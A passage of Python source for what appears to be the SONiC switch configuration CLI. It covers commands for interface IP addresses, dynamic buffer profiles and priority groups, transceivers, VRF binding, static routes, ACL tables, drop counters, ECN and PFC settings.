mgmtintf_key_list = _get_all_mgmtinterface_keys() for key in mgmtintf_key_list: # For loop runs for max 2 rows, once for IPv4 and once for IPv6. # No need to capture the exception since the ip_addr is already validated earlier ip_input = ipaddress.ip_interface(ip_addr) current_ip = ipaddress.ip_interface(key[1]) if (ip_input.version == current_ip.version): # If user has configured IPv4/v6 address and the already available row is also IPv4/v6, delete it here. config_db.set_entry("MGMT_INTERFACE", ("eth0", key[1]), None) # Set the new row with new value if not gw: config_db.set_entry("MGMT_INTERFACE", (interface_name, ip_addr), {"NULL": "NULL"}) else: config_db.set_entry("MGMT_INTERFACE", (interface_name, ip_addr), {"gwaddr": gw}) mgmt_ip_restart_services() return table_name = get_interface_table_name(interface_name) if table_name == "": ctx.fail("'interface_name' is not valid. Valid names [Ethernet/PortChannel/Vlan/Loopback]") interface_entry = config_db.get_entry(table_name, interface_name) if len(interface_entry) == 0: if table_name == "VLAN_SUB_INTERFACE": config_db.set_entry(table_name, interface_name, {"admin_status": "up"}) else: config_db.set_entry(table_name, interface_name, {"NULL": "NULL"}) config_db.set_entry(table_name, (interface_name, ip_addr), {"NULL": "NULL"}) except ValueError: ctx.fail("'ip_addr' is not valid.") # # 'del' subcommand # @ip.command() @click.argument('interface_name', metavar='<interface_name>', required=True) @click.argument("ip_addr", metavar="<ip_addr>", required=True) @click.pass_context def remove(ctx, interface_name, ip_addr): """Remove an IP address from the interface""" # Get the config_db connector config_db = ctx.obj['config_db'] if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, interface_name) if interface_name is None: ctx.fail("'interface_name' is None!") try: net = ipaddress.ip_network(ip_addr, strict=False) if '/' not in ip_addr: ip_addr = str(net) if interface_name == 'eth0': config_db.set_entry("MGMT_INTERFACE", (interface_name, ip_addr), None) mgmt_ip_restart_services() return table_name = get_interface_table_name(interface_name) if table_name == "": ctx.fail("'interface_name' is not valid. Valid names [Ethernet/PortChannel/Vlan/Loopback]") config_db.set_entry(table_name, (interface_name, ip_addr), None) interface_dependent = interface_ipaddr_dependent_on_interface(config_db, interface_name) if len(interface_dependent) == 0 and is_interface_bind_to_vrf(config_db, interface_name) is False: config_db.set_entry(table_name, interface_name, None) if multi_asic.is_multi_asic(): command = "sudo ip netns exec {} ip neigh flush dev {} {}".format(ctx.obj['namespace'], interface_name, ip_addr) else: command = "ip neigh flush dev {} {}".format(interface_name, ip_addr) clicommon.run_command(command) except ValueError: ctx.fail("'ip_addr' is not valid.") # # buffer commands and utilities # def pgmaps_check_legality(ctx, interface_name, input_pg, is_new_pg): """ Tool function to check whether input_pg is legal. Three checking performed: 1. Whether the input_pg is legal: pgs are in range [0-7] 2. Whether the input_pg overlaps an existing pg in the port """ config_db = ctx.obj["config_db"] try: lower = int(input_pg[0]) upper = int(input_pg[-1]) if upper < lower or lower < 0 or upper > 7: ctx.fail("PG {} is not valid.".format(input_pg)) except Exception: ctx.fail("PG {} is not valid.".format(input_pg)) # Check overlapping. # To configure a new PG which is overlapping an existing one is not allowed # For example, to add '5-6' while '3-5' existing is illegal existing_pgs = config_db.get_table("BUFFER_PG") if not is_new_pg: if not (interface_name, input_pg) in existing_pgs.keys(): ctx.fail("PG {} doesn't exist".format(input_pg)) return for k, v in existing_pgs.items(): port, existing_pg = k if port == interface_name: existing_lower = int(existing_pg[0]) existing_upper = int(existing_pg[-1]) if existing_upper < lower or existing_lower > upper: # new and existing pgs disjoint, legal pass else: ctx.fail("PG {} overlaps with existing PG {}".format(input_pg, existing_pg)) def update_pg(ctx, interface_name, pg_map, override_profile, add = True): config_db = ctx.obj["config_db"] # Check whether port is legal ports = config_db.get_entry("PORT", interface_name) if not ports: ctx.fail("Port {} doesn't exist".format(interface_name)) # Check whether pg_map is legal # Check whether there is other lossless profiles configured on the interface pgmaps_check_legality(ctx, interface_name, pg_map, add) # All checking passed if override_profile: profile_dict = config_db.get_entry("BUFFER_PROFILE", override_profile) if not profile_dict: ctx.fail("Profile {} doesn't exist".format(override_profile)) if not 'xoff' in profile_dict.keys() and 'size' in profile_dict.keys(): ctx.fail("Profile {} doesn't exist or isn't a lossless profile".format(override_profile)) profile_full_name = "[BUFFER_PROFILE|{}]".format(override_profile) config_db.set_entry("BUFFER_PG", (interface_name, pg_map), {"profile": profile_full_name}) else: config_db.set_entry("BUFFER_PG", (interface_name, pg_map), {"profile": "NULL"}) adjust_pfc_enable(ctx, interface_name, pg_map, True) def remove_pg_on_port(ctx, interface_name, pg_map): config_db = ctx.obj["config_db"] # Check whether port is legal ports = config_db.get_entry("PORT", interface_name) if not ports: ctx.fail("Port {} doesn't exist".format(interface_name)) # Remvoe all dynamic lossless PGs on the port existing_pgs = config_db.get_table("BUFFER_PG") removed = False for k, v in existing_pgs.items(): port, existing_pg = k if port == interface_name and (not pg_map or pg_map == existing_pg): need_to_remove = False referenced_profile = v.get('profile') if referenced_profile and referenced_profile == '[BUFFER_PROFILE|ingress_lossy_profile]': if pg_map: ctx.fail("Lossy PG {} can't be removed".format(pg_map)) else: continue config_db.set_entry("BUFFER_PG", (interface_name, existing_pg), None) adjust_pfc_enable(ctx, interface_name, pg_map, False) removed = True if not removed: if pg_map: ctx.fail("No specified PG {} found on port {}".format(pg_map, interface_name)) else: ctx.fail("No lossless PG found on port {}".format(interface_name)) def adjust_pfc_enable(ctx, interface_name, pg_map, add): config_db = ctx.obj["config_db"] # Fetch the original pfc_enable qosmap = config_db.get_entry("PORT_QOS_MAP", interface_name) pfc_enable = qosmap.get("pfc_enable") pfc_set = set() if pfc_enable: for priority in pfc_enable.split(","): pfc_set.add(int(priority)) if pg_map: lower_bound = int(pg_map[0]) upper_bound = int(pg_map[-1]) for priority in range(lower_bound, upper_bound + 1): if add: pfc_set.add(priority) elif priority in pfc_set: pfc_set.remove(priority) empty_set = set() pfc_enable = "" if not pfc_set.issubset(empty_set): for priority in pfc_set: pfc_enable += str(priority) + "," elif not add: # Remove all pfc_enable = "" else: ctx.fail("Try to add empty priorities") qosmap["pfc_enable"] = pfc_enable[:-1] config_db.set_entry("PORT_QOS_MAP", interface_name, qosmap) # # 'buffer' subgroup ('config interface buffer ...') # @interface.group(cls=clicommon.AbbreviationGroup) @click.pass_context def buffer(ctx): """Set or clear buffer configuration""" config_db = ctx.obj["config_db"] if not is_dynamic_buffer_enabled(config_db): ctx.fail("This command can only be executed on a system with dynamic buffer enabled") # # 'priority_group' subgroup ('config interface buffer priority_group ...') # @buffer.group(cls=clicommon.AbbreviationGroup) @click.pass_context def priority_group(ctx): """Set or clear buffer configuration""" pass # # 'lossless' subgroup ('config interface buffer priority_group lossless ...') # @priority_group.group(cls=clicommon.AbbreviationGroup) @click.pass_context def lossless(ctx): """Set or clear lossless PGs""" pass # # 'add' subcommand # @lossless.command('add') @click.argument('interface_name', metavar='<interface_name>', required=True) @click.argument('pg_map', metavar='<pg_map>', required=True) @click.argument('override_profile', metavar='<override_profile>', required=False) @click.pass_context def add_pg(ctx, interface_name, pg_map, override_profile): """Set lossless PGs for the interface""" update_pg(ctx, interface_name, pg_map, override_profile) # # 'set' subcommand # @lossless.command('set') @click.argument('interface_name', metavar='<interface_name>', required=True) @click.argument('pg_map', metavar='<pg_map>', required=True) @click.argument('override_profile', metavar='<override_profile>', required=False) @click.pass_context def set_pg(ctx, interface_name, pg_map, override_profile): """Set lossless PGs for the interface""" update_pg(ctx, interface_name, pg_map, override_profile, False) # # 'remove' subcommand # @lossless.command('remove') @click.argument('interface_name', metavar='<interface_name>', required=True) @click.argument('pg_map', metavar='<pg_map', required=False) @click.pass_context def remove_pg(ctx, interface_name, pg_map): """Clear lossless PGs for the interface""" remove_pg_on_port(ctx, interface_name, pg_map) # # 'cable_length' subcommand # @interface.command() @click.argument('interface_name', metavar='<interface_name>', required=True) @click.argument('length', metavar='<length>', required=True) @click.pass_context def cable_length(ctx, interface_name, length): """Set lossless PGs for the interface""" config_db = ctx.obj["config_db"] if not is_dynamic_buffer_enabled(config_db): ctx.fail("This command can only be supported on a system with dynamic buffer enabled") # Check whether port is legal ports = config_db.get_entry("PORT", interface_name) if not ports: ctx.fail("Port {} doesn't exist".format(interface_name)) try: assert "m" == length[-1] except Exception: ctx.fail("Invalid cable length. Should be in format <num>m, like 300m".format(cable_length)) keys = config_db.get_keys("CABLE_LENGTH") cable_length_set = {} cable_length_set[interface_name] = length config_db.mod_entry("CABLE_LENGTH", keys[0], cable_length_set) # # 'transceiver' subgroup ('config interface transceiver ...') # @interface.group(cls=clicommon.AbbreviationGroup) @click.pass_context def transceiver(ctx): """SFP transceiver configuration""" pass # # 'lpmode' subcommand ('config interface transceiver lpmode ...') # @transceiver.command() @click.argument('interface_name', metavar='<interface_name>', required=True) @click.argument('state', metavar='(enable|disable)', type=click.Choice(['enable', 'disable'])) @click.pass_context def lpmode(ctx, interface_name, state): """Enable/disable low-power mode for SFP transceiver module""" # Get the config_db connector config_db = ctx.obj['config_db'] if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, interface_name) if interface_name is None: ctx.fail("'interface_name' is None!") if interface_name_is_valid(config_db, interface_name) is False: ctx.fail("Interface name is invalid. Please enter a valid interface name!!") cmd = "sudo sfputil lpmode {} {}".format("on" if state == "enable" else "off", interface_name) clicommon.run_command(cmd) # # 'reset' subcommand ('config interface reset ...') # @transceiver.command() @click.argument('interface_name', metavar='<interface_name>', required=True) @click.pass_context def reset(ctx, interface_name): """Reset SFP transceiver module""" # Get the config_db connector config_db = ctx.obj['config_db'] if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, interface_name) if interface_name is None: ctx.fail("'interface_name' is None!") if interface_name_is_valid(config_db, interface_name) is False: ctx.fail("Interface name is invalid. Please enter a valid interface name!!") cmd = "sudo sfputil reset {}".format(interface_name) clicommon.run_command(cmd) # # 'vrf' subgroup ('config interface vrf ...') # @interface.group(cls=clicommon.AbbreviationGroup) @click.pass_context def vrf(ctx): """Bind or unbind VRF""" pass # # 'bind' subcommand # @vrf.command() @click.argument('interface_name', metavar='<interface_name>', required=True) @click.argument('vrf_name', metavar='<vrf_name>', required=True) @click.pass_context def bind(ctx, interface_name, vrf_name): """Bind the interface to VRF""" # Get the config_db connector config_db = ctx.obj['config_db'] if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, interface_name) if interface_name is None: ctx.fail("'interface_name' is None!") table_name = get_interface_table_name(interface_name) if table_name == "": ctx.fail("'interface_name' is not valid. Valid names [Ethernet/PortChannel/Vlan/Loopback]") if is_interface_bind_to_vrf(config_db, interface_name) is True and \ config_db.get_entry(table_name, interface_name).get('vrf_name') == vrf_name: return # Clean ip addresses if interface configured interface_dependent = interface_ipaddr_dependent_on_interface(config_db, interface_name) for interface_del in interface_dependent: config_db.set_entry(table_name, interface_del, None) config_db.set_entry(table_name, interface_name, None) # When config_db del entry and then add entry with same key, the DEL will lost. if ctx.obj['namespace'] is DEFAULT_NAMESPACE: state_db = SonicV2Connector(use_unix_socket_path=True) else: state_db = SonicV2Connector(use_unix_socket_path=True, namespace=ctx.obj['namespace']) state_db.connect(state_db.STATE_DB, False) _hash = '{}{}'.format('INTERFACE_TABLE|', interface_name) while state_db.exists(state_db.STATE_DB, _hash): time.sleep(0.01) state_db.close(state_db.STATE_DB) config_db.set_entry(table_name, interface_name, {"vrf_name": vrf_name}) # # 'unbind' subcommand # @vrf.command() @click.argument('interface_name', metavar='<interface_name>', required=True) @click.pass_context def unbind(ctx, interface_name): """Unbind the interface to VRF""" # Get the config_db connector config_db = ctx.obj['config_db'] if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, interface_name) if interface_name is None: ctx.fail("interface is None!") table_name = get_interface_table_name(interface_name) if table_name == "": ctx.fail("'interface_name' is not valid. Valid names [Ethernet/PortChannel/Vlan/Loopback]") if is_interface_bind_to_vrf(config_db, interface_name) is False: return interface_dependent = interface_ipaddr_dependent_on_interface(config_db, interface_name) for interface_del in interface_dependent: config_db.set_entry(table_name, interface_del, None) config_db.set_entry(table_name, interface_name, None) # # 'vrf' group ('config vrf ...') # @config.group(cls=clicommon.AbbreviationGroup, name='vrf') @click.pass_context def vrf(ctx): """VRF-related configuration tasks""" config_db = ConfigDBConnector() config_db.connect() ctx.obj = {} ctx.obj['config_db'] = config_db @vrf.command('add') @click.argument('vrf_name', metavar='<vrf_name>', required=True) @click.pass_context def add_vrf(ctx, vrf_name): """Add vrf""" config_db = ctx.obj['config_db'] if not vrf_name.startswith("Vrf") and not (vrf_name == 'mgmt') and not (vrf_name == 'management'): ctx.fail("'vrf_name' is not start with Vrf, mgmt or management!") if len(vrf_name) > 15: ctx.fail("'vrf_name' is too long!") if (vrf_name == 'mgmt' or vrf_name == 'management'): vrf_add_management_vrf(config_db) else: config_db.set_entry('VRF', vrf_name, {"NULL": "NULL"}) @vrf.command('del') @click.argument('vrf_name', metavar='<vrf_name>', required=True) @click.pass_context def del_vrf(ctx, vrf_name): """Del vrf""" config_db = ctx.obj['config_db'] if not vrf_name.startswith("Vrf") and not (vrf_name == 'mgmt') and not (vrf_name == 'management'): ctx.fail("'vrf_name' is not start with Vrf, mgmt or management!") if len(vrf_name) > 15: ctx.fail("'vrf_name' is too long!") if (vrf_name == 'mgmt' or vrf_name == 'management'): vrf_delete_management_vrf(config_db) else: del_interface_bind_to_vrf(config_db, vrf_name) config_db.set_entry('VRF', vrf_name, None) @vrf.command('add_vrf_vni_map') @click.argument('vrfname', metavar='<vrf-name>', required=True, type=str) @click.argument('vni', metavar='<vni>', required=True) @click.pass_context def add_vrf_vni_map(ctx, vrfname, vni): config_db = ctx.obj['config_db'] found = 0 if vrfname not in config_db.get_table('VRF').keys(): ctx.fail("vrf {} doesnt exists".format(vrfname)) if not vni.isdigit(): ctx.fail("Invalid VNI {}. Only valid VNI is accepted".format(vni)) if clicommon.vni_id_is_valid(int(vni)) is False: ctx.fail("Invalid VNI {}. Valid range [1 to 16777215].".format(vni)) vxlan_table = config_db.get_table('VXLAN_TUNNEL_MAP') vxlan_keys = vxlan_table.keys() if vxlan_keys is not None: for key in vxlan_keys: if (vxlan_table[key]['vni'] == vni): found = 1 break if (found == 0): ctx.fail("VLAN VNI not mapped. Please create VLAN VNI map entry first") found = 0 vrf_table = config_db.get_table('VRF') vrf_keys = vrf_table.keys() if vrf_keys is not None: for vrf_key in vrf_keys: if ('vni' in vrf_table[vrf_key] and vrf_table[vrf_key]['vni'] == vni): found = 1 break if (found == 1): ctx.fail("VNI already mapped to vrf {}".format(vrf_key)) config_db.mod_entry('VRF', vrfname, {"vni": vni}) @vrf.command('del_vrf_vni_map') @click.argument('vrfname', metavar='<vrf-name>', required=True, type=str) @click.pass_context def del_vrf_vni_map(ctx, vrfname): config_db = ctx.obj['config_db'] if vrfname not in config_db.get_table('VRF').keys(): ctx.fail("vrf {} doesnt exists".format(vrfname)) config_db.mod_entry('VRF', vrfname, {"vni": 0}) # # 'route' group ('config route ...') # @config.group(cls=clicommon.AbbreviationGroup) @click.pass_context def route(ctx): """route-related configuration tasks""" pass @route.command('add', context_settings={"ignore_unknown_options":True}) @click.argument('command_str', metavar='prefix [vrf <vrf_name>] <A.B.C.D/M> nexthop <[vrf <vrf_name>] <A.B.C.D>>|<dev <dev_name>>', nargs=-1, type=click.Path()) @click.pass_context def add_route(ctx, command_str): """Add route command""" if len(command_str) < 4 or len(command_str) > 9: ctx.fail("argument is not in pattern prefix [vrf <vrf_name>] <A.B.C.D/M> nexthop <[vrf <vrf_name>] <A.B.C.D>>|<dev <dev_name>>!") if "prefix" not in command_str: ctx.fail("argument is incomplete, prefix not found!") if "nexthop" not in command_str: ctx.fail("argument is incomplete, nexthop not found!") for i in range(0, len(command_str)): if "nexthop" == command_str[i]: prefix_str = command_str[:i] nexthop_str = command_str[i:] vrf_name = "" cmd = 'sudo vtysh -c "configure terminal" -c "ip route' if prefix_str: if len(prefix_str) == 2: prefix_mask = prefix_str[1] cmd += ' {}'.format(prefix_mask) elif len(prefix_str) == 4: vrf_name = prefix_str[2] prefix_mask = prefix_str[3] cmd += ' {}'.format(prefix_mask) else: ctx.fail("prefix is not in pattern!") if nexthop_str: if len(nexthop_str) == 2: ip = nexthop_str[1] if vrf_name == "": cmd += ' {}'.format(ip) else: cmd += ' {} vrf {}'.format(ip, vrf_name) elif len(nexthop_str) == 3: dev_name = nexthop_str[2] if vrf_name == "": cmd += ' {}'.format(dev_name) else: cmd += ' {} vrf {}'.format(dev_name, vrf_name) elif len(nexthop_str) == 4: vrf_name_dst = nexthop_str[2] ip = nexthop_str[3] if vrf_name == "": cmd += ' {} nexthop-vrf {}'.format(ip, vrf_name_dst) else: cmd += ' {} vrf {} nexthop-vrf {}'.format(ip, vrf_name, vrf_name_dst) else: ctx.fail("nexthop is not in pattern!") cmd += '"' clicommon.run_command(cmd) @route.command('del', context_settings={"ignore_unknown_options":True}) @click.argument('command_str', metavar='prefix [vrf <vrf_name>] <A.B.C.D/M> nexthop <[vrf <vrf_name>] <A.B.C.D>>|<dev <dev_name>>', nargs=-1, type=click.Path()) @click.pass_context def del_route(ctx, command_str): """Del route command""" if len(command_str) < 4 or len(command_str) > 9: ctx.fail("argument is not in pattern prefix [vrf <vrf_name>] <A.B.C.D/M> nexthop <[vrf <vrf_name>] <A.B.C.D>>|<dev <dev_name>>!") if "prefix" not in command_str: ctx.fail("argument is incomplete, prefix not found!") if "nexthop" not in command_str: ctx.fail("argument is incomplete, nexthop not found!") for i in range(0, len(command_str)): if "nexthop" == command_str[i]: prefix_str = command_str[:i] nexthop_str = command_str[i:] vrf_name = "" cmd = 'sudo vtysh -c "configure terminal" -c "no ip route' if prefix_str: if len(prefix_str) == 2: prefix_mask = prefix_str[1] cmd += ' {}'.format(prefix_mask) elif len(prefix_str) == 4: vrf_name = prefix_str[2] prefix_mask = prefix_str[3] cmd += ' {}'.format(prefix_mask) else: ctx.fail("prefix is not in pattern!") if nexthop_str: if len(nexthop_str) == 2: ip = nexthop_str[1] if vrf_name == "": cmd += ' {}'.format(ip) else: cmd += ' {} vrf {}'.format(ip, vrf_name) elif len(nexthop_str) == 3: dev_name = nexthop_str[2] if vrf_name == "": cmd += ' {}'.format(dev_name) else: cmd += ' {} vrf {}'.format(dev_name, vrf_name) elif len(nexthop_str) == 4: vrf_name_dst = nexthop_str[2] ip = nexthop_str[3] if vrf_name == "": cmd += ' {} nexthop-vrf {}'.format(ip, vrf_name_dst) else: cmd += ' {} vrf {} nexthop-vrf {}'.format(ip, vrf_name, vrf_name_dst) else: ctx.fail("nexthop is not in pattern!") cmd += '"' clicommon.run_command(cmd) # # 'acl' group ('config acl ...') # @config.group(cls=clicommon.AbbreviationGroup) def acl(): """ACL-related configuration tasks""" pass # # 'add' subgroup ('config acl add ...') # @acl.group(cls=clicommon.AbbreviationGroup) def add(): """ Add ACL configuration. """ pass def get_acl_bound_ports(): config_db = ConfigDBConnector() config_db.connect() ports = set() portchannel_members = set() portchannel_member_dict = config_db.get_table("PORTCHANNEL_MEMBER") for key in portchannel_member_dict: ports.add(key[0]) portchannel_members.add(key[1]) port_dict = config_db.get_table("PORT") for key in port_dict: if key not in portchannel_members: ports.add(key) return list(ports) # # 'table' subcommand ('config acl add table ...') # @add.command() @click.argument("table_name", metavar="<table_name>") @click.argument("table_type", metavar="<table_type>") @click.option("-d", "--description") @click.option("-p", "--ports") @click.option("-s", "--stage", type=click.Choice(["ingress", "egress"]), default="ingress") def table(table_name, table_type, description, ports, stage): """ Add ACL table """ config_db = ConfigDBConnector() config_db.connect() table_info = {"type": table_type} if description: table_info["policy_desc"] = description else: table_info["policy_desc"] = table_name if ports: table_info["ports@"] = ports else: table_info["ports@"] = ",".join(get_acl_bound_ports()) table_info["stage"] = stage config_db.set_entry("ACL_TABLE", table_name, table_info) # # 'remove' subgroup ('config acl remove ...') # @acl.group(cls=clicommon.AbbreviationGroup) def remove(): """ Remove ACL configuration. """ pass # # 'table' subcommand ('config acl remove table ...') # @remove.command() @click.argument("table_name", metavar="<table_name>") def table(table_name): """ Remove ACL table """ config_db = ConfigDBConnector() config_db.connect() config_db.set_entry("ACL_TABLE", table_name, None) # # 'acl update' group # @acl.group(cls=clicommon.AbbreviationGroup) def update(): """ACL-related configuration tasks""" pass # # 'full' subcommand # @update.command() @click.argument('file_name', required=True) def full(file_name): """Full update of ACL rules configuration.""" log.log_info("'acl update full {}' executing...".format(file_name)) command = "acl-loader update full {}".format(file_name) clicommon.run_command(command) # # 'incremental' subcommand # @update.command() @click.argument('file_name', required=True) def incremental(file_name): """Incremental update of ACL rule configuration.""" log.log_info("'acl update incremental {}' executing...".format(file_name)) command = "acl-loader update incremental {}".format(file_name) clicommon.run_command(command) # # 'dropcounters' group ('config dropcounters ...') # @config.group(cls=clicommon.AbbreviationGroup) def dropcounters(): """Drop counter related configuration tasks""" pass # # 'install' subcommand ('config dropcounters install') # @dropcounters.command() @click.argument("counter_name", type=str, required=True) @click.argument("counter_type", type=str, required=True) @click.argument("reasons", type=str, required=True) @click.option("-a", "--alias", type=str, help="Alias for this counter") @click.option("-g", "--group", type=str, help="Group for this counter") @click.option("-d", "--desc", type=str, help="Description for this counter") @click.option('-v', '--verbose', is_flag=True, help="Enable verbose output") def install(counter_name, alias, group, counter_type, desc, reasons, verbose): """Install a new drop counter""" command = "dropconfig -c install -n '{}' -t '{}' -r '{}'".format(counter_name, counter_type, reasons) if alias: command += " -a '{}'".format(alias) if group: command += " -g '{}'".format(group) if desc: command += " -d '{}'".format(desc) clicommon.run_command(command, display_cmd=verbose) # # 'delete' subcommand ('config dropcounters delete') # @dropcounters.command() @click.argument("counter_name", type=str, required=True) @click.option('-v', '--verbose', is_flag=True, help="Enable verbose output") def delete(counter_name, verbose): """Delete an existing drop counter""" command = "dropconfig -c uninstall -n {}".format(counter_name) clicommon.run_command(command, display_cmd=verbose) # # 'add_reasons' subcommand ('config dropcounters add_reasons') # @dropcounters.command('add-reasons') @click.argument("counter_name", type=str, required=True) @click.argument("reasons", type=str, required=True) @click.option('-v', '--verbose', is_flag=True, help="Enable verbose output") def add_reasons(counter_name, reasons, verbose): """Add reasons to an existing drop counter""" command = "dropconfig -c add -n {} -r {}".format(counter_name, reasons) clicommon.run_command(command, display_cmd=verbose) # # 'remove_reasons' subcommand ('config dropcounters remove_reasons') # @dropcounters.command('remove-reasons') @click.argument("counter_name", type=str, required=True) @click.argument("reasons", type=str, required=True) @click.option('-v', '--verbose', is_flag=True, help="Enable verbose output") def remove_reasons(counter_name, reasons, verbose): """Remove reasons from an existing drop counter""" command = "dropconfig -c remove -n {} -r {}".format(counter_name, reasons) clicommon.run_command(command, display_cmd=verbose) # # 'ecn' command ('config ecn ...') # @config.command() @click.option('-profile', metavar='<profile_name>', type=str, required=True, help="Profile name") @click.option('-rmax', metavar='<red threshold max>', type=int, help="Set red max threshold") @click.option('-rmin', metavar='<red threshold min>', type=int, help="Set red min threshold") @click.option('-ymax', metavar='<yellow threshold max>', type=int, help="Set yellow max threshold") @click.option('-ymin', metavar='<yellow threshold min>', type=int, help="Set yellow min threshold") @click.option('-gmax', metavar='<green threshold max>', type=int, help="Set green max threshold") @click.option('-gmin', metavar='<green threshold min>', type=int, help="Set green min threshold") @click.option('-rdrop', metavar='<red drop probability>', type=click.IntRange(0, 100), help="Set red drop probability") @click.option('-ydrop', metavar='<yellow drop probability>', type=click.IntRange(0, 100), help="Set yellow drop probability") @click.option('-gdrop', metavar='<green drop probability>', type=click.IntRange(0, 100), help="Set green drop probability") @click.option('-v', '--verbose', is_flag=True, help="Enable verbose output") def ecn(profile, rmax, rmin, ymax, ymin, gmax, gmin, rdrop, ydrop, gdrop, verbose): """ECN-related configuration tasks""" log.log_info("'ecn -profile {}' executing...".format(profile)) command = "ecnconfig -p %s" % profile if rmax is not None: command += " -rmax %d" % rmax if rmin is not None: command += " -rmin %d" % rmin if ymax is not None: command += " -ymax %d" % ymax if ymin is not None: command += " -ymin %d" % ymin if gmax is not None: command += " -gmax %d" % gmax if gmin is not None: command += " -gmin %d" % gmin if rdrop is not None: command += " -rdrop %d" % rdrop if ydrop is not None: command += " -ydrop %d" % ydrop if gdrop is not None: command += " -gdrop %d" % gdrop if verbose: command += " -vv" clicommon.run_command(command, display_cmd=verbose) # # 'pfc' group ('config interface pfc ...') # @interface.group(cls=clicommon.AbbreviationGroup) @click.pass_context def pfc(ctx): """Set PFC configuration.""" pass # # 'pfc asymmetric' ('config interface pfc asymmetric ...') # @pfc.command() @click.argument('interface_name', metavar='<interface_name>', required=True) @click.argument('status', type=click.Choice(['on', 'off'])) @click.pass_context def asymmetric(ctx, interface_name, status): """Set asymmetric PFC configuration.""" # Get the config_db connector config_db = ctx.obj['config_db'] if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, interface_name) if interface_name is None: ctx.fail("'interface_name' is None!") clicommon.run_command("pfc config asymmetric {0} {1}".format(status, interface_name)) # # 'pfc priority' command ('config interface pfc priority ...') # @pfc.command() @click.argument('interface_name', metavar='<interface_name>', required=True) @click.argument('priority', type=click.Choice([str(x) for x in range(8)])) @click.argument('status', type=click.Choice(['on', 'off'])) @click.pass_context def priority(ctx, interface_name, priority, status): """Set PFC priority configuration.""" # Get the config_db connector config_db = ctx.obj['config_db'] if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, interface_name) if interface_name is None: ctx.fail("'interface_name' is None!") clicommon.run_command("pfc config priority {0} {1} {2}".format(status, interface_name, priority)) # # 'buffer' group ('config buffer ...') # @config.group(cls=clicommon.AbbreviationGroup) @click.pass_context def buffer(ctx): """Configure buffer_profile""" config_db = ConfigDBConnector() config_db.connect() if not is_dynamic_buffer_enabled(config_db): ctx.fail("This command can only be supported on a system with dynamic buffer enabled") @buffer.group(cls=clicommon.AbbreviationGroup) @click.pass_context def profile(ctx): """Configure buffer profile""" pass @profile.command('add') @click.argument('profile', metavar='<profile>', required=True) @click.option('--xon', metavar='<xon>', type=int, help="Set xon threshold") @click.option('--xoff', metavar='<xoff>', type=int, help="Set xoff threshold") @click.option('--size', metavar='<size>', type=int, help="Set reserved size size") @click.option('--dynamic_th', metavar='<dynamic_th>', type=str, help="Set dynamic threshold") @click.option('--pool', metavar='<pool>', type=str, help="Buffer pool") @clicommon.pass_db def add_profile(db, profile, xon, xoff, size, dynamic_th, pool): """Add or modify a buffer profile""" config_db = db.cfgdb ctx = click.get_current_context() profile_entry = config_db.get_entry('BUFFER_PROFILE', profile) if profile_entry: ctx.fail("Profile {} already exist".format(profile)) update_profile(ctx, config_db, profile, xon, xoff, size, dynamic_th, pool) @profile.command('set') @click.argument('profile', metavar='<profile>', required=True) @click.option('--xon', metavar='<xon>', type=int, help="Set xon threshold") @click.option('--xoff', metavar='<xoff>', type=int, help="Set xoff threshold") @click.option('--size', metavar='<size>', type=int, help="Set reserved size size") @click.option('--dynamic_th', metavar='<dynamic_th>', type=str, help="Set dynamic threshold") @click.option('--pool', metavar='<pool>', type=str, help="Buffer pool") @clicommon.pass_db def set_profile(db, profile, xon, xoff, size, dynamic_th, pool): """Add or modify a buffer profile""" config_db = db.cfgdb ctx = click.get_current_context() profile_entry = config_db.get_entry('BUFFER_PROFILE', profile) if not profile_entry: ctx.fail("Profile {} doesn't exist".format(profile)) if not 'xoff' in profile_entry.keys() and xoff: ctx.fail("Can't change profile {} from dynamically calculating headroom to non-dynamically one".format(profile)) update_profile(ctx, config_db, profile, xon, xoff, size, dynamic_th, pool, profile_entry) def update_profile(ctx, config_db, profile_name, xon, xoff, size, dynamic_th, pool, profile_entry = None): params = {} if profile_entry: params = profile_entry dynamic_calculate = True if not pool: pool = 'ingress_lossless_pool' params['pool'] = '[BUFFER_POOL|' + pool + ']' if not config_db.get_entry('BUFFER_POOL', pool): ctx.fail("Pool {} doesn't exist".format(pool)) if xon: params['xon'] = xon dynamic_calculate = False else: xon = params.get('xon') if xoff: params['xoff'] = xoff dynamic_calculate = False else: xoff = params.get('xoff') if size: params['size'] = size dynamic_calculate = False if xon and not xoff: xoff = int(size) - int (xon) params['xoff'] = xoff elif not dynamic_calculate: if xon and xoff: size = int(xon) + int(xoff) params['size'] = size else: ctx.fail("Either both xon and xoff or size should be provided") if dynamic_calculate: params['headroom_type'] = 'dynamic' if not dynamic_th: ctx.fail("Either size information (xon, xoff, size) or dynamic_th needs to be provided") if dynamic_th: params['dynamic_th'] = dynamic_th else: # Fetch all the keys of default_lossless_buffer_parameter table # and then get the default_dynamic_th from that entry (should be only one) keys = config_db.get_keys('DEFAULT_LOSSLESS_BUFFER_PARAMETER') if len(keys) > 1 or len(keys) == 0: ctx.fail("Multiple or no entry in DEFAULT_LOSSLESS_BUFFER_PARAMETER found while no dynamic_th specified") default_lossless_param = config_db.get_entry('DEFAULT_LOSSLESS_BUFFER_PARAMETER', keys[0]) if 'default_dynamic_th' in default_lossless_param.keys(): params['dynamic_th'] = default_lossless_param['default_dynamic_th'] else: ctx.fail("No dynamic_th defined in DEFAULT_LOSSLESS_BUFFER_PARAMETER") config_db.set_entry("BUFFER_PROFILE", (profile_name), params) @profile.command('remove') @click.argument('profile', metavar='<profile>', required=True) @clicommon.pass_db def remove_profile(db, profile): """Delete a buffer profile""" config_db = db.cfgdb ctx = click.get_current_context() full_profile_name = '[BUFFER_PROFILE|{}]'.format(profile) existing_pgs = config_db.get_table("BUFFER_PG") for k, v in existing_pgs.items(): port, pg = k referenced_profile = v.get('profile') if referenced_profile and referenced_profile == full_profile_name: ctx.fail("Profile {} is referenced by {}|{} and can't be removed".format(profile, port, pg)) entry = config_db.get_entry("BUFFER_PROFILE", profile) if entry: config_db.set_entry("BUFFER_PROFILE", profile, None) else: ctx.fail("Profile {} doesn't 